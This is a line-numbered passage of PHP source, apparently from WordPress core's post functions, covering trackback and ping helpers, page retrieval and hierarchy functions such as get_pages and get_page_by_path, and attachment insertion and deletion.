4716 if ( ! is_array( $custom_fields ) ) {
4717 return $pung;
4718 }
4719
4720 foreach ( $custom_fields as $key => $val ) {
4721 if ( 'enclosure' != $key || ! is_array( $val ) ) {
4722 continue;
4723 }
4724 foreach ( $val as $enc ) {
4725 $enclosure = explode( "\n", $enc );
4726 $pung[] = trim( $enclosure[0] );
4727 }
4728 }
4729
4730 /**
4731 * Filters the list of enclosures already enclosed for the given post.
4732 *
4733 * @since 2.0.0
4734 *
4735 * @param array $pung Array of enclosures for the given post.
4736 * @param int $post_id Post ID.
4737 */
4738 return apply_filters( 'get_enclosed', $pung, $post_id );
4739}
4740
4741/**
4742 * Retrieve URLs already pinged for a post.
4743 *
4744 * @since 1.5.0
4745 *
4746 * @since 4.7.0 `$post_id` can be a WP_Post object.
4747 *
4748 * @param int|WP_Post $post_id Post ID or object.
4749 * @return bool|string[] Array of URLs already pinged for the given post, false if the post is not found.
4750 */
4751function get_pung( $post_id ) {
4752 $post = get_post( $post_id );
4753 if ( ! $post ) {
4754 return false;
4755 }
4756
4757 $pung = trim( $post->pinged );
4758 $pung = preg_split( '/\s/', $pung );
4759
4760 /**
4761 * Filters the list of already-pinged URLs for the given post.
4762 *
4763 * @since 2.0.0
4764 *
4765 * @param string[] $pung Array of URLs already pinged for the given post.
4766 */
4767 return apply_filters( 'get_pung', $pung );
4768}
4769
4770/**
4771 * Retrieve URLs that need to be pinged.
4772 *
4773 * @since 1.5.0
4774 * @since 4.7.0 `$post_id` can be a WP_Post object.
4775 *
4776 * @param int|WP_Post $post_id Post Object or ID
4777 * @return array
4778 */
4779function get_to_ping( $post_id ) {
4780 $post = get_post( $post_id );
4781
4782 if ( ! $post ) {
4783 return false;
4784 }
4785
4786 $to_ping = sanitize_trackback_urls( $post->to_ping );
4787 $to_ping = preg_split( '/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY );
4788
4789 /**
4790 * Filters the list of URLs yet to ping for the given post.
4791 *
4792 * @since 2.0.0
4793 *
4794 * @param array $to_ping List of URLs yet to ping.
4795 */
4796 return apply_filters( 'get_to_ping', $to_ping );
4797}
4798
4799/**
4800 * Do trackbacks for a list of URLs.
4801 *
4802 * @since 1.0.0
4803 *
4804 * @param string $tb_list Comma separated list of URLs.
4805 * @param int $post_id Post ID.
4806 */
4807function trackback_url_list( $tb_list, $post_id ) {
4808 if ( ! empty( $tb_list ) ) {
4809 // Get post data.
4810 $postdata = get_post( $post_id, ARRAY_A );
4811
4812 // Form an excerpt.
4813 $excerpt = strip_tags( $postdata['post_excerpt'] ? $postdata['post_excerpt'] : $postdata['post_content'] );
4814
4815 if ( strlen( $excerpt ) > 255 ) {
4816 $excerpt = substr( $excerpt, 0, 252 ) . '…';
4817 }
4818
4819 $trackback_urls = explode( ',', $tb_list );
4820 foreach ( (array) $trackback_urls as $tb_url ) {
4821 $tb_url = trim( $tb_url );
4822 trackback( $tb_url, wp_unslash( $postdata['post_title'] ), $excerpt, $post_id );
4823 }
4824 }
4825}
4826
4827//
4828// Page functions
4829//
4830
4831/**
4832 * Get a list of page IDs.
4833 *
4834 * @since 2.0.0
4835 *
4836 * @global wpdb $wpdb WordPress database abstraction object.
4837 *
4838 * @return array List of page IDs.
4839 */
4840function get_all_page_ids() {
4841 global $wpdb;
4842
4843 $page_ids = wp_cache_get( 'all_page_ids', 'posts' );
4844 if ( ! is_array( $page_ids ) ) {
4845 $page_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type = 'page'" );
4846 wp_cache_add( 'all_page_ids', $page_ids, 'posts' );
4847 }
4848
4849 return $page_ids;
4850}
4851
4852/**
4853 * Retrieves page data given a page ID or page object.
4854 *
4855 * Use get_post() instead of get_page().
4856 *
4857 * @since 1.5.1
4858 * @deprecated 3.5.0 Use get_post()
4859 *
4860 * @param mixed $page Page object or page ID. Passed by reference.
4861 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
4862 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
4863 * @param string $filter Optional. How the return value should be filtered. Accepts 'raw',
4864 * 'edit', 'db', 'display'. Default 'raw'.
4865 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
4866 */
4867function get_page( $page, $output = OBJECT, $filter = 'raw' ) {
4868 return get_post( $page, $output, $filter );
4869}
4870
4871/**
4872 * Retrieves a page given its path.
4873 *
4874 * @since 2.1.0
4875 *
4876 * @global wpdb $wpdb WordPress database abstraction object.
4877 *
4878 * @param string $page_path Page path.
4879 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
4880 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
4881 * @param string|array $post_type Optional. Post type or array of post types. Default 'page'.
4882 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
4883 */
4884function get_page_by_path( $page_path, $output = OBJECT, $post_type = 'page' ) {
4885 global $wpdb;
4886
4887 $last_changed = wp_cache_get_last_changed( 'posts' );
4888
4889 $hash = md5( $page_path . serialize( $post_type ) );
4890 $cache_key = "get_page_by_path:$hash:$last_changed";
4891 $cached = wp_cache_get( $cache_key, 'posts' );
4892 if ( false !== $cached ) {
4893 // Special case: '0' is a bad `$page_path`.
4894 if ( '0' === $cached || 0 === $cached ) {
4895 return;
4896 } else {
4897 return get_post( $cached, $output );
4898 }
4899 }
4900
4901 $page_path = rawurlencode( urldecode( $page_path ) );
4902 $page_path = str_replace( '%2F', '/', $page_path );
4903 $page_path = str_replace( '%20', ' ', $page_path );
4904 $parts = explode( '/', trim( $page_path, '/' ) );
4905 $parts = array_map( 'sanitize_title_for_query', $parts );
4906 $escaped_parts = esc_sql( $parts );
4907
4908 $in_string = "'" . implode( "','", $escaped_parts ) . "'";
4909
4910 if ( is_array( $post_type ) ) {
4911 $post_types = $post_type;
4912 } else {
4913 $post_types = array( $post_type, 'attachment' );
4914 }
4915
4916 $post_types = esc_sql( $post_types );
4917 $post_type_in_string = "'" . implode( "','", $post_types ) . "'";
4918 $sql = "
4919 SELECT ID, post_name, post_parent, post_type
4920 FROM $wpdb->posts
4921 WHERE post_name IN ($in_string)
4922 AND post_type IN ($post_type_in_string)
4923 ";
4924
4925 $pages = $wpdb->get_results( $sql, OBJECT_K );
4926
4927 $revparts = array_reverse( $parts );
4928
4929 $foundid = 0;
4930 foreach ( (array) $pages as $page ) {
4931 if ( $page->post_name == $revparts[0] ) {
4932 $count = 0;
4933 $p = $page;
4934
4935 /*
4936 * Loop through the given path parts from right to left,
4937 * ensuring each matches the post ancestry.
4938 */
4939 while ( $p->post_parent != 0 && isset( $pages[ $p->post_parent ] ) ) {
4940 $count++;
4941 $parent = $pages[ $p->post_parent ];
4942 if ( ! isset( $revparts[ $count ] ) || $parent->post_name != $revparts[ $count ] ) {
4943 break;
4944 }
4945 $p = $parent;
4946 }
4947
4948 if ( $p->post_parent == 0 && $count + 1 == count( $revparts ) && $p->post_name == $revparts[ $count ] ) {
4949 $foundid = $page->ID;
4950 if ( $page->post_type == $post_type ) {
4951 break;
4952 }
4953 }
4954 }
4955 }
4956
4957 // We cache misses as well as hits.
4958 wp_cache_set( $cache_key, $foundid, 'posts' );
4959
4960 if ( $foundid ) {
4961 return get_post( $foundid, $output );
4962 }
4963}
4964
4965/**
4966 * Retrieve a page given its title.
4967 *
4968 * If more than one post uses the same title, the post with the smallest ID will be returned.
4969 * Be careful: in case of more than one post having the same title, it will check the oldest
4970 * publication date, not the smallest ID.
4971 *
4972 * Because this function uses the MySQL '=' comparison, $page_title will usually be matched
4973 * as case-insensitive with default collation.
4974 *
4975 * @since 2.1.0
4976 * @since 3.0.0 The `$post_type` parameter was added.
4977 *
4978 * @global wpdb $wpdb WordPress database abstraction object.
4979 *
4980 * @param string $page_title Page title.
4981 * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
4982 * a WP_Post object, an associative array, or a numeric array, respectively. Default OBJECT.
4983 * @param string|array $post_type Optional. Post type or array of post types. Default 'page'.
4984 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
4985 */
4986function get_page_by_title( $page_title, $output = OBJECT, $post_type = 'page' ) {
4987 global $wpdb;
4988
4989 if ( is_array( $post_type ) ) {
4990 $post_type = esc_sql( $post_type );
4991 $post_type_in_string = "'" . implode( "','", $post_type ) . "'";
4992 $sql = $wpdb->prepare(
4993 "
4994 SELECT ID
4995 FROM $wpdb->posts
4996 WHERE post_title = %s
4997 AND post_type IN ($post_type_in_string)
4998 ",
4999 $page_title
5000 );
5001 } else {
5002 $sql = $wpdb->prepare(
5003 "
5004 SELECT ID
5005 FROM $wpdb->posts
5006 WHERE post_title = %s
5007 AND post_type = %s
5008 ",
5009 $page_title,
5010 $post_type
5011 );
5012 }
5013
5014 $page = $wpdb->get_var( $sql );
5015
5016 if ( $page ) {
5017 return get_post( $page, $output );
5018 }
5019}
5020
5021/**
5022 * Identify descendants of a given page ID in a list of page objects.
5023 *
5024 * Descendants are identified from the `$pages` array passed to the function. No database queries are performed.
5025 *
5026 * @since 1.5.1
5027 *
5028 * @param int $page_id Page ID.
5029 * @param array $pages List of page objects from which descendants should be identified.
5030 * @return array List of page children.
5031 */
5032function get_page_children( $page_id, $pages ) {
5033 // Build a hash of ID -> children.
5034 $children = array();
5035 foreach ( (array) $pages as $page ) {
5036 $children[ intval( $page->post_parent ) ][] = $page;
5037 }
5038
5039 $page_list = array();
5040
5041 // Start the search by looking at immediate children.
5042 if ( isset( $children[ $page_id ] ) ) {
5043 // Always start at the end of the stack in order to preserve original `$pages` order.
5044 $to_look = array_reverse( $children[ $page_id ] );
5045
5046 while ( $to_look ) {
5047 $p = array_pop( $to_look );
5048 $page_list[] = $p;
5049 if ( isset( $children[ $p->ID ] ) ) {
5050 foreach ( array_reverse( $children[ $p->ID ] ) as $child ) {
5051 // Append to the `$to_look` stack to descend the tree.
5052 $to_look[] = $child;
5053 }
5054 }
5055 }
5056 }
5057
5058 return $page_list;
5059}
5060
5061/**
5062 * Order the pages with children under parents in a flat list.
5063 *
5064 * It uses auxiliary structure to hold parent-children relationships and
5065 * runs in O(N) complexity
5066 *
5067 * @since 2.0.0
5068 *
5069 * @param array $pages Posts array (passed by reference).
5070 * @param int $page_id Optional. Parent page ID. Default 0.
5071 * @return array A list arranged by hierarchy. Children immediately follow their parents.
5072 */
5073function get_page_hierarchy( &$pages, $page_id = 0 ) {
5074 if ( empty( $pages ) ) {
5075 return array();
5076 }
5077
5078 $children = array();
5079 foreach ( (array) $pages as $p ) {
5080 $parent_id = intval( $p->post_parent );
5081 $children[ $parent_id ][] = $p;
5082 }
5083
5084 $result = array();
5085 _page_traverse_name( $page_id, $children, $result );
5086
5087 return $result;
5088}
5089
5090/**
5091 * Traverse and return all the nested children post names of a root page.
5092 *
5093 * $children contains parent-children relations
5094 *
5095 * @since 2.9.0
5096 * @access private
5097 *
5098 * @see _page_traverse_name()
5099 *
5100 * @param int $page_id Page ID.
5101 * @param array $children Parent-children relations (passed by reference).
5102 * @param array $result Result (passed by reference).
5103 */
5104function _page_traverse_name( $page_id, &$children, &$result ) {
5105 if ( isset( $children[ $page_id ] ) ) {
5106 foreach ( (array) $children[ $page_id ] as $child ) {
5107 $result[ $child->ID ] = $child->post_name;
5108 _page_traverse_name( $child->ID, $children, $result );
5109 }
5110 }
5111}
5112
5113/**
5114 * Build the URI path for a page.
5115 *
5116 * Sub pages will be in the "directory" under the parent page post name.
5117 *
5118 * @since 1.5.0
5119 * @since 4.6.0 The `$page` parameter was made optional.
5120 *
5121 * @param WP_Post|object|int $page Optional. Page ID or WP_Post object. Default is global $post.
5122 * @return string|false Page URI, false on error.
5123 */
5124function get_page_uri( $page = 0 ) {
5125 if ( ! $page instanceof WP_Post ) {
5126 $page = get_post( $page );
5127 }
5128
5129 if ( ! $page ) {
5130 return false;
5131 }
5132
5133 $uri = $page->post_name;
5134
5135 foreach ( $page->ancestors as $parent ) {
5136 $parent = get_post( $parent );
5137 if ( $parent && $parent->post_name ) {
5138 $uri = $parent->post_name . '/' . $uri;
5139 }
5140 }
5141
5142 /**
5143 * Filters the URI for a page.
5144 *
5145 * @since 4.4.0
5146 *
5147 * @param string $uri Page URI.
5148 * @param WP_Post $page Page object.
5149 */
5150 return apply_filters( 'get_page_uri', $uri, $page );
5151}
5152
5153/**
5154 * Retrieve a list of pages (or hierarchical post type items).
5155 *
5156 * @global wpdb $wpdb WordPress database abstraction object.
5157 *
5158 * @since 1.5.0
5159 *
5160 * @param array|string $args {
5161 * Optional. Array or string of arguments to retrieve pages.
5162 *
5163 * @type int $child_of Page ID to return child and grandchild pages of. Note: The value
5164 * of `$hierarchical` has no bearing on whether `$child_of` returns
5165 * hierarchical results. Default 0, or no restriction.
5166 * @type string $sort_order How to sort retrieved pages. Accepts 'ASC', 'DESC'. Default 'ASC'.
5167 * @type string $sort_column What columns to sort pages by, comma-separated. Accepts 'post_author',
5168 * 'post_date', 'post_title', 'post_name', 'post_modified', 'menu_order',
5169 * 'post_modified_gmt', 'post_parent', 'ID', 'rand', 'comment_count'.
5170 * 'post_' can be omitted for any values that start with it.
5171 * Default 'post_title'.
5172 * @type bool $hierarchical Whether to return pages hierarchically. If false in conjunction with
5173 * `$child_of` also being false, both arguments will be disregarded.
5174 * Default true.
5175 * @type array $exclude Array of page IDs to exclude. Default empty array.
5176 * @type array $include Array of page IDs to include. Cannot be used with `$child_of`,
5177 * `$parent`, `$exclude`, `$meta_key`, `$meta_value`, or `$hierarchical`.
5178 * Default empty array.
5179 * @type string $meta_key Only include pages with this meta key. Default empty.
5180 * @type string $meta_value Only include pages with this meta value. Requires `$meta_key`.
5181 * Default empty.
5182 * @type string $authors A comma-separated list of author IDs. Default empty.
5183 * @type int $parent Page ID to return direct children of. Default -1, or no restriction.
5184 * @type string|array $exclude_tree Comma-separated string or array of page IDs to exclude.
5185 * Default empty array.
5186 * @type int $number The number of pages to return. Default 0, or all pages.
5187 * @type int $offset The number of pages to skip before returning. Requires `$number`.
5188 * Default 0.
5189 * @type string $post_type The post type to query. Default 'page'.
5190 * @type string|array $post_status A comma-separated list or array of post statuses to include.
5191 * Default 'publish'.
5192 * }
5193 * @return array|false List of pages matching defaults or `$args`.
5194 */
5195function get_pages( $args = array() ) {
5196 global $wpdb;
5197
5198 $defaults = array(
5199 'child_of' => 0,
5200 'sort_order' => 'ASC',
5201 'sort_column' => 'post_title',
5202 'hierarchical' => 1,
5203 'exclude' => array(),
5204 'include' => array(),
5205 'meta_key' => '',
5206 'meta_value' => '',
5207 'authors' => '',
5208 'parent' => -1,
5209 'exclude_tree' => array(),
5210 'number' => '',
5211 'offset' => 0,
5212 'post_type' => 'page',
5213 'post_status' => 'publish',
5214 );
5215
5216 $parsed_args = wp_parse_args( $args, $defaults );
5217
5218 $number = (int) $parsed_args['number'];
5219 $offset = (int) $parsed_args['offset'];
5220 $child_of = (int) $parsed_args['child_of'];
5221 $hierarchical = $parsed_args['hierarchical'];
5222 $exclude = $parsed_args['exclude'];
5223 $meta_key = $parsed_args['meta_key'];
5224 $meta_value = $parsed_args['meta_value'];
5225 $parent = $parsed_args['parent'];
5226 $post_status = $parsed_args['post_status'];
5227
5228 // Make sure the post type is hierarchical.
5229 $hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) );
5230 if ( ! in_array( $parsed_args['post_type'], $hierarchical_post_types ) ) {
5231 return false;
5232 }
5233
5234 if ( $parent > 0 && ! $child_of ) {
5235 $hierarchical = false;
5236 }
5237
5238 // Make sure we have a valid post status.
5239 if ( ! is_array( $post_status ) ) {
5240 $post_status = explode( ',', $post_status );
5241 }
5242 if ( array_diff( $post_status, get_post_stati() ) ) {
5243 return false;
5244 }
5245
5246 // $args can be whatever, only use the args defined in defaults to compute the key.
5247 $key = md5( serialize( wp_array_slice_assoc( $parsed_args, array_keys( $defaults ) ) ) );
5248 $last_changed = wp_cache_get_last_changed( 'posts' );
5249
5250 $cache_key = "get_pages:$key:$last_changed";
5251 $cache = wp_cache_get( $cache_key, 'posts' );
5252 if ( false !== $cache ) {
5253 // Convert to WP_Post instances.
5254 $pages = array_map( 'get_post', $cache );
5255 /** This filter is documented in wp-includes/post.php */
5256 $pages = apply_filters( 'get_pages', $pages, $parsed_args );
5257 return $pages;
5258 }
5259
5260 $inclusions = '';
5261 if ( ! empty( $parsed_args['include'] ) ) {
5262 $child_of = 0; //ignore child_of, parent, exclude, meta_key, and meta_value params if using include
5263 $parent = -1;
5264 $exclude = '';
5265 $meta_key = '';
5266 $meta_value = '';
5267 $hierarchical = false;
5268 $incpages = wp_parse_id_list( $parsed_args['include'] );
5269 if ( ! empty( $incpages ) ) {
5270 $inclusions = ' AND ID IN (' . implode( ',', $incpages ) . ')';
5271 }
5272 }
5273
5274 $exclusions = '';
5275 if ( ! empty( $exclude ) ) {
5276 $expages = wp_parse_id_list( $exclude );
5277 if ( ! empty( $expages ) ) {
5278 $exclusions = ' AND ID NOT IN (' . implode( ',', $expages ) . ')';
5279 }
5280 }
5281
5282 $author_query = '';
5283 if ( ! empty( $parsed_args['authors'] ) ) {
5284 $post_authors = wp_parse_list( $parsed_args['authors'] );
5285
5286 if ( ! empty( $post_authors ) ) {
5287 foreach ( $post_authors as $post_author ) {
5288 //Do we have an author id or an author login?
5289 if ( 0 == intval( $post_author ) ) {
5290 $post_author = get_user_by( 'login', $post_author );
5291 if ( empty( $post_author ) ) {
5292 continue;
5293 }
5294 if ( empty( $post_author->ID ) ) {
5295 continue;
5296 }
5297 $post_author = $post_author->ID;
5298 }
5299
5300 if ( '' == $author_query ) {
5301 $author_query = $wpdb->prepare( ' post_author = %d ', $post_author );
5302 } else {
5303 $author_query .= $wpdb->prepare( ' OR post_author = %d ', $post_author );
5304 }
5305 }
5306 if ( '' != $author_query ) {
5307 $author_query = " AND ($author_query)";
5308 }
5309 }
5310 }
5311
5312 $join = '';
5313 $where = "$exclusions $inclusions ";
5314 if ( '' !== $meta_key || '' !== $meta_value ) {
5315 $join = " LEFT JOIN $wpdb->postmeta ON ( $wpdb->posts.ID = $wpdb->postmeta.post_id )";
5316
5317 // meta_key and meta_value might be slashed
5318 $meta_key = wp_unslash( $meta_key );
5319 $meta_value = wp_unslash( $meta_value );
5320 if ( '' !== $meta_key ) {
5321 $where .= $wpdb->prepare( " AND $wpdb->postmeta.meta_key = %s", $meta_key );
5322 }
5323 if ( '' !== $meta_value ) {
5324 $where .= $wpdb->prepare( " AND $wpdb->postmeta.meta_value = %s", $meta_value );
5325 }
5326 }
5327
5328 if ( is_array( $parent ) ) {
5329 $post_parent__in = implode( ',', array_map( 'absint', (array) $parent ) );
5330 if ( ! empty( $post_parent__in ) ) {
5331 $where .= " AND post_parent IN ($post_parent__in)";
5332 }
5333 } elseif ( $parent >= 0 ) {
5334 $where .= $wpdb->prepare( ' AND post_parent = %d ', $parent );
5335 }
5336
5337 if ( 1 == count( $post_status ) ) {
5338 $where_post_type = $wpdb->prepare( 'post_type = %s AND post_status = %s', $parsed_args['post_type'], reset( $post_status ) );
5339 } else {
5340 $post_status = implode( "', '", $post_status );
5341 $where_post_type = $wpdb->prepare( "post_type = %s AND post_status IN ('$post_status')", $parsed_args['post_type'] );
5342 }
5343
5344 $orderby_array = array();
5345 $allowed_keys = array(
5346 'author',
5347 'post_author',
5348 'date',
5349 'post_date',
5350 'title',
5351 'post_title',
5352 'name',
5353 'post_name',
5354 'modified',
5355 'post_modified',
5356 'modified_gmt',
5357 'post_modified_gmt',
5358 'menu_order',
5359 'parent',
5360 'post_parent',
5361 'ID',
5362 'rand',
5363 'comment_count',
5364 );
5365
5366 foreach ( explode( ',', $parsed_args['sort_column'] ) as $orderby ) {
5367 $orderby = trim( $orderby );
5368 if ( ! in_array( $orderby, $allowed_keys ) ) {
5369 continue;
5370 }
5371
5372 switch ( $orderby ) {
5373 case 'menu_order':
5374 break;
5375 case 'ID':
5376 $orderby = "$wpdb->posts.ID";
5377 break;
5378 case 'rand':
5379 $orderby = 'RAND()';
5380 break;
5381 case 'comment_count':
5382 $orderby = "$wpdb->posts.comment_count";
5383 break;
5384 default:
5385 if ( 0 === strpos( $orderby, 'post_' ) ) {
5386 $orderby = "$wpdb->posts." . $orderby;
5387 } else {
5388 $orderby = "$wpdb->posts.post_" . $orderby;
5389 }
5390 }
5391
5392 $orderby_array[] = $orderby;
5393
5394 }
5395 $sort_column = ! empty( $orderby_array ) ? implode( ',', $orderby_array ) : "$wpdb->posts.post_title";
5396
5397 $sort_order = strtoupper( $parsed_args['sort_order'] );
5398 if ( '' !== $sort_order && ! in_array( $sort_order, array( 'ASC', 'DESC' ) ) ) {
5399 $sort_order = 'ASC';
5400 }
5401
5402 $query = "SELECT * FROM $wpdb->posts $join WHERE ($where_post_type) $where ";
5403 $query .= $author_query;
5404 $query .= ' ORDER BY ' . $sort_column . ' ' . $sort_order;
5405
5406 if ( ! empty( $number ) ) {
5407 $query .= ' LIMIT ' . $offset . ',' . $number;
5408 }
5409
5410 $pages = $wpdb->get_results( $query );
5411
5412 if ( empty( $pages ) ) {
5413 wp_cache_set( $cache_key, array(), 'posts' );
5414
5415 /** This filter is documented in wp-includes/post.php */
5416 $pages = apply_filters( 'get_pages', array(), $parsed_args );
5417 return $pages;
5418 }
5419
5420 // Sanitize before caching so it'll only get done once.
5421 $num_pages = count( $pages );
5422 for ( $i = 0; $i < $num_pages; $i++ ) {
5423 $pages[ $i ] = sanitize_post( $pages[ $i ], 'raw' );
5424 }
5425
5426 // Update cache.
5427 update_post_cache( $pages );
5428
5429 if ( $child_of || $hierarchical ) {
5430 $pages = get_page_children( $child_of, $pages );
5431 }
5432
5433 if ( ! empty( $parsed_args['exclude_tree'] ) ) {
5434 $exclude = wp_parse_id_list( $parsed_args['exclude_tree'] );
5435 foreach ( $exclude as $id ) {
5436 $children = get_page_children( $id, $pages );
5437 foreach ( $children as $child ) {
5438 $exclude[] = $child->ID;
5439 }
5440 }
5441
5442 $num_pages = count( $pages );
5443 for ( $i = 0; $i < $num_pages; $i++ ) {
5444 if ( in_array( $pages[ $i ]->ID, $exclude ) ) {
5445 unset( $pages[ $i ] );
5446 }
5447 }
5448 }
5449
5450 $page_structure = array();
5451 foreach ( $pages as $page ) {
5452 $page_structure[] = $page->ID;
5453 }
5454
5455 wp_cache_set( $cache_key, $page_structure, 'posts' );
5456
5457 // Convert to WP_Post instances
5458 $pages = array_map( 'get_post', $pages );
5459
5460 /**
5461 * Filters the retrieved list of pages.
5462 *
5463 * @since 2.1.0
5464 *
5465 * @param array $pages List of pages to retrieve.
5466 * @param array $parsed_args Array of get_pages() arguments.
5467 */
5468 return apply_filters( 'get_pages', $pages, $parsed_args );
5469}
5470
5471//
5472// Attachment functions
5473//
5474
5475/**
5476 * Determines whether an attachment URI is local and really an attachment.
5477 *
5478 * For more information on this and similar theme functions, check out
5479 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
5480 * Conditional Tags} article in the Theme Developer Handbook.
5481 *
5482 * @since 2.0.0
5483 *
5484 * @param string $url URL to check
5485 * @return bool True on success, false on failure.
5486 */
5487function is_local_attachment( $url ) {
5488 if ( strpos( $url, home_url() ) === false ) {
5489 return false;
5490 }
5491 if ( strpos( $url, home_url( '/?attachment_id=' ) ) !== false ) {
5492 return true;
5493 }
5494
5495 $id = url_to_postid( $url );
5496 if ( $id ) {
5497 $post = get_post( $id );
5498 if ( 'attachment' == $post->post_type ) {
5499 return true;
5500 }
5501 }
5502 return false;
5503}
5504
5505/**
5506 * Insert an attachment.
5507 *
5508 * If you set the 'ID' in the $args parameter, it will mean that you are
5509 * updating and attempt to update the attachment. You can also set the
5510 * attachment name or title by setting the key 'post_name' or 'post_title'.
5511 *
5512 * You can set the dates for the attachment manually by setting the 'post_date'
5513 * and 'post_date_gmt' keys' values.
5514 *
5515 * By default, the comments will use the default settings for whether the
5516 * comments are allowed. You can close them manually or keep them open by
5517 * setting the value for the 'comment_status' key.
5518 *
5519 * @since 2.0.0
5520 * @since 4.7.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure.
5521 *
5522 * @see wp_insert_post()
5523 *
5524 * @param string|array $args Arguments for inserting an attachment.
5525 * @param string $file Optional. Filename.
5526 * @param int $parent Optional. Parent post ID.
5527 * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false.
5528 * @return int|WP_Error The attachment ID on success. The value 0 or WP_Error on failure.
5529 */
5530function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) {
5531 $defaults = array(
5532 'file' => $file,
5533 'post_parent' => 0,
5534 );
5535
5536 $data = wp_parse_args( $args, $defaults );
5537
5538 if ( ! empty( $parent ) ) {
5539 $data['post_parent'] = $parent;
5540 }
5541
5542 $data['post_type'] = 'attachment';
5543
5544 return wp_insert_post( $data, $wp_error );
5545}
5546
5547/**
5548 * Trash or delete an attachment.
5549 *
5550 * When an attachment is permanently deleted, the file will also be removed.
5551 * Deletion removes all post meta fields, taxonomy, comments, etc. associated
5552 * with the attachment (except the main post).
5553 *
5554 * The attachment is moved to the trash instead of permanently deleted unless trash
5555 * for media is disabled, item is already in the trash, or $force_delete is true.
5556 *
5557 * @since 2.0.0
5558 *
5559 * @global wpdb $wpdb WordPress database abstraction object.
5560 *
5561 * @param int $post_id Attachment ID.
5562 * @param bool $force_delete Optional. Whether to bypass trash and force deletion.
5563 * Default false.
5564 * @return WP_Post|false|null Post data on success, false or null on failure.
5565 */
5566function wp_delete_attachment( $post_id, $force_delete = false ) {
5567 global $wpdb;
5568
5569 $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id ) );
5570
5571 if ( ! $post ) {
5572 return $post;
5573 }
5574
5575 $post = get_post( $post );
5576
5577 if ( 'attachment' !== $post->post_type ) {
5578 return false;
5579 }
5580
5581 if ( ! $force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' !== $post->post_status ) {
5582 return wp_trash_post( $post_id );
5583 }
5584
5585 delete_post_meta( $post_id, '_wp_trash_meta_status' );
5586 delete_post_meta( $post_id, '_wp_trash_meta_time' );
5587
5588 $meta = wp_get_attachment_metadata( $post_id );
5589 $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );
5590 $file = get_attached_file( $post_id );
5591
5592 if ( is_multisite() ) {
5593 delete_transient( 'dirsize_cache' );
5594 }
5595
5596 /**
5597 * Fires before an attachment is deleted, at the start of wp_delete_attachment().
5598 *
5599 * @since 2.0.0
5600 *
5601 * @param int $post_id Attachment ID.
5602 */
5603 do_action( 'delete_attachment', $post_id );
5604
5605 wp_delete_object_term_relationships( $post_id, array( 'category', 'post_tag' ) );
5606 wp_delete_object_term_relationships( $post_id, get_object_taxonomies( $post->post_type ) );
5607
5608 // Delete all for any posts.
5609 delete_metadata( 'post', null, '_thumbnail_id', $post_id, true );
5610
5611 wp_defer_comment_counting( true );
5612
5613 $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) );
5614 foreach ( $comment_ids as $comment_id ) {
5615 wp_delete_comment( $comment_id, true );
5616 }
5617
5618 wp_defer_comment_counting( false );
5619
5620 $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id ) );
5621 foreach ( $post_meta_ids as $mid ) {
5622 delete_metadata_by_mid( 'post', $mid );
5623 }
5624
5625 /** This action is documented in wp-includes/post.php */
5626 do_action( 'delete_post', $post_id );
5627 $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $post_id ) );
5628 if ( ! $result ) {
5629 return false;
5630 }
5631 /** This action is documented in wp-includes/post.php */
5632 do_action( 'deleted_post', $post_id );
5633
5634 wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file );
5635
5636 clean_post_cache( $post );
5637
5638 return $post;
5639}
5640
5641/**
5642 * Deletes all files that belong to the given attachment.
5643 *
5644 * @since 4.9.7
5645 *
5646 * @param int $post_id Attachment ID.
5647 * @param array $meta The attachment's meta data.
5648 * @param array $backup_sizes The meta data for the attachment's backup images.
5649 * @param string $file Absolute path to the attachment's file.
5650 * @return bool True on success, false on failure.
5651 */
5652function wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ) {
5653 global $wpdb;
5654
5655 $uploadpath = wp_get_upload_dir();
5656 $deleted = true;
5657
5658 if ( ! empty( $meta['thumb'] ) ) {
5659 // Don't delete the thumb if another attachment uses it.
5660 if ( ! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id ) ) ) {
5661 $thumbfile = str_replace( wp_basename( $file ), $meta['thumb'], $file );
5662
5663 if ( ! empty( $thumbfile ) ) {
5664 $thumbfile = path_join( $uploadpath['basedir'], $thumbfile );
5665 $thumbdir = path_join( $uploadpath['basedir'], dirname( $file ) );
5666
5667 if ( ! wp_delete_file_from_directory( $thumbfile, $thumbdir ) ) {
5668 $deleted = false;
5669 }
5670 }
5671 }
5672 }
5673
5674 // Remove intermediate and backup images if there are any.
5675 if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) {
5676 $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) );
5677
5678 foreach ( $meta['sizes'] as $size => $sizeinfo ) {
5679 $intermediate_file = str_replace( wp_basename( $file ), $sizeinfo['file'], $file );
5680
5681 if ( ! empty( $intermediate_file ) ) {
5682 $intermediate_file = path_join( $uploadpath['basedir'], $intermediate_file );
5683
